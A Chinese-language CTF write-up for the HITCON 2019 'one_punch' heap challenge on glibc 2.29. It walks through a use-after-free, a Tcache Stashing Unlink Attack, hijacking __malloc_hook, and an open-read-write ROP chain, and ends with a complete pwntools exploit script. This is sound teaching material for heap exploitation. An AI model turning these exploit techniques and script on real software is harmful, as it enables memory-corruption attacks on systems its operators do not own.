遇到一个比较新的题,涉及到知识盲区,在此记录一下,libc是2.29
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
64位程序,依旧保护是全开,具体程序的执行流程在此不累赘,直接看存在漏洞的函数,delete函数存在uaf
void sub_1568() { unsigned int v0; // [rsp+Ch] [rbp-4h] puts_("idx: "); v0 = my_read(); if ( v0 > 2 ) error((__int64)"invalid"); free(*((void **)&unk_4040 + 2 * v0)); }
这个题比较新的地方是add函数使用是calloc去申请堆,而不是malloc,但是在其他位置还是存在用malloc申请堆的函数,但是是被限制,需要个数大于6才能调用
__int64 sub_15BB() { void *buf; // [rsp+8h] [rbp-8h] if ( *(_BYTE *)(qword_4030 + 32) <= 6 ) error((__int64)"gg"); buf = malloc(0x217uLL); if ( !buf ) error((__int64)"err"); if ( read(0, buf, 0x217uLL) <= 0 ) error((__int64)"io"); puts("Serious Punch!!!"); puts(&unk_2128); return puts(buf); }
绕过这个if判断,可以向其中写进一个 main_arena地址 ,结合题目的calloc,假设我们能构造好特定的结构,比如tcache bin中是6个,small bin满足2个,当执行calloc,small bin中的chunk会被插入到tcache bin中,直到满足7个,此时向其写进一个 main_arena地址 ,具体还是得看libc-2.29的源码,其中涉及到很细节的东西, ha1vk的分析很不错(https://blog.csdn.net/seaaseesa/article/details/105870247)
下面结合本地调试
首先malloc的部分申请的堆大小是0x217,并且我们需要泄露libc等等,构建两个堆
add(0,'a'*0x218) add(1,'b'*0x80)
泄露heap_addr和libc比较简单就不讲述了,主要就是利用uaf,我们是要构建两个small bin出来,这里我们就需要借助malloc_consolidata(大于small bin触发)。当泄露释放chunk 0的时候,此时unsorted bin大小为0x220,申请一下0x180,切割unsorted bin,剩余0x90放入small bin
add(1,'a'*0x180) add(1,'a'*0x400) add(2,'a'*0x100)#隔开
此时可以看到smallbins
0x90: 0x555555be63e0 —▸ 0x7f754e343d20 (main_arena+224) ◂— 0x555555be63e0
再次构造一个small bin,因为unsorted bin现在没有东西,构造一个chunk进入unsorted bin,然后切割,malloc_consolidata触发,让其切割后的部分进入small bin,这样达成两个small bin
for i in range(7): delete(1) edit(1,'c'*0x10) delete(1)#unsorted bin size 0x410 add(2,0x370*'d') add(2,0x400*'d') smallbins 0x90: 0x555556878880 —▸ 0x5555568783e0 —▸ 0x7fef97642d20 (main_arena+224) ◂— 0x555556878880
修改倒数第二个chunk的bk
fd = heap_addr+0x180 bk = heap_addr-0x260+0x20 payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk) edit(1,payload)
此时,目标地址因为被写进small bin的地址。看一下数据
0x5555568e7870: 0x6565656565656565 0x6565656565656565 0x5555568e7880: 0x0000000000000000 0x0000000000000091 0x5555568e7890: 0x00005555568e73e0 0x00005555568e7020 0x5555568e78a0: 0x6161616161616161 0x6161616161616161 0x5555568e78b0: 0x6161616161616161 0x6161616161616161 0x5555568e78c0: 0x6161616161616161 0x6161616161616161 0x5555568e78d0: 0x6161616161616161 0x6161616161616161 0x5555568e78e0: 0x6161616161616161 0x6161616161616161 0x5555568e78f0: 0x6161616161616161 0x6161616161616161 0x5555568e7900: 0x6161616161616161 0x0061616161616161
这里的bk我们写进了0x00005555568e7020,看一下tcache bin
0x90 [ 6]: 0x555557413480
在Tcache Stashing Unlink Attack时,会从small bin里取chunk到tcache bin,
直到tcache bin填满,因此我们申请add一个,再看tcache bin
add(1,'a'*0x80)
tcache bin如下
0x90 [ 7]: 0x5555572f5890 —▸ 0x5555572f5480
可见原本small bin的chunk被加入tcache bin,接下来将malloc_hook连入链表
edit(0,p64(malloc_hook))
这样0x220大小的chunk,就形成链
0x220 [ 32]: 0x55555672a260 —▸ 0x7f7a5447ac30 (__malloc_hook) ◂— 0x0 malloc('/flag\x00') 0x220 [ 31]: 0x7fc2fbcabc30 (__malloc_hook) ◂— 0x0
下次申请的时候,在malloc_hook的地方写进shellcode即可,但是这个题开启了沙箱,只能通过orw来读取flag,构造一下
add_rsp = libc_base+0x8CFD6 pop_rdi = libc_base+0x26542 pop_rsi = libc_base+0x26f9e pop_rdx = libc_base+0x12bda6 pop_rax = libc_base+0x47cf8 syscall = libc_base+0x10D022 rop = p64(pop_rdi)+p64(heap_addr) rop += p64(pop_rsi)+p64(0) rop += p64(pop_rax)+p64(2) rop += p64(syscall) #read 3 read = libc_base+libc.sym['read'] rop += p64(pop_rdi)+p64(3) rop += p64(pop_rsi)+p64(heap_addr) rop += p64(pop_rdx)+p64(0x30) rop += p64(read) #write 1 write = libc_base+libc.sym['write'] rop += p64(pop_rdi)+p64(1) rop += p64(pop_rsi)+p64(heap_addr) rop += p64(pop_rdx)+p64(0x30) rop += p64(write)
完整的exp如下
from pwn import * context(os = "linux", arch = "amd64")#,log_level= "debug") context.terminal = ['tmux', 'splitw', '-h'] r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/ld-2.29.so','./hitcon_ctf_2019_one_punch'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so'}) libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so') #r = remote('node4.buuoj.cn',29390) #libc = ELF('./buu64_libc-2.29.so') def menu(choice): r.recvuntil('> ') r.sendline(str(choice)) def add(idx,content): menu(1) r.recvuntil('idx: ') r.sendline(str(idx)) r.recvuntil('hero name: ') r.send(content) def edit(idx,content): menu(2) r.recvuntil('idx: ') r.sendline(str(idx)) r.recvuntil('hero name: ') r.send(content) def show(idx): menu(3) r.recvuntil('idx: ') r.sendline(str(idx)) def delete(idx): menu(4) r.recvuntil('idx: ') r.sendline(str(idx)) def punch(content): menu(50056) r.send(content) add(0,'a'*0x218) add(1,'b'*0x80) for i in range(6): delete(1) edit(1,'b'*0x10) for i in range(6): delete(0) edit(0,'a'*0x10) delete(0) show(0) r.recvuntil('hero name: ') heap_addr = u64(r.recv(6).ljust(8,'\x00')) print('heap_addr',hex(heap_addr)) edit(0,'a'*0x10) delete(0) show(0) r.recvuntil('hero name: ') libc_base = u64(r.recv(6).ljust(8,'\x00'))-0x1e4ca0 print(hex(libc_base)) add(1,'a'*0x180) add(1,'a'*0x400) add(2,'a'*0x100) for i in range(7): delete(1) edit(1,'c'*0x10) delete(1) add(2,0x370*'d') add(2,0x400*'d') fd = heap_addr+0x180 bk = heap_addr-0x260+0x20 payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk) edit(1,payload) add(1,'f'*0x80) malloc_hook = libc_base+libc.sym['__malloc_hook'] print('malloc_hook',hex(malloc_hook)) edit(0,p64(malloc_hook)) punch('/flag\x00') add_rsp = libc_base+0x8CFD6 pop_rdi = libc_base+0x26542 pop_rsi = libc_base+0x26f9e pop_rdx = libc_base+0x12bda6 pop_rax = libc_base+0x47cf8 syscall = libc_base+0x10D022 rop = p64(pop_rdi)+p64(heap_addr) rop += p64(pop_rsi)+p64(0) rop += p64(pop_rax)+p64(2) rop += p64(syscall) #read 3 read = libc_base+libc.sym['read'] rop += p64(pop_rdi)+p64(3) rop += p64(pop_rsi)+p64(heap_addr) rop += p64(pop_rdx)+p64(0x30) rop += p64(read) #write 1 write = libc_base+libc.sym['write'] rop += p64(pop_rdi)+p64(1) rop += p64(pop_rsi)+p64(heap_addr) rop += p64(pop_rdx)+p64(0x30) rop += p64(write) punch(p64(add_rsp)) add(1,rop) gdb.attach(r) r.interactive()
参考:https://www.cnblogs.com/countfatcode/p/13052724.html
https://blog.csdn.net/seaaseesa/article/details/105870247
https://blog.csdn.net/qq_41453285/article/details/97627411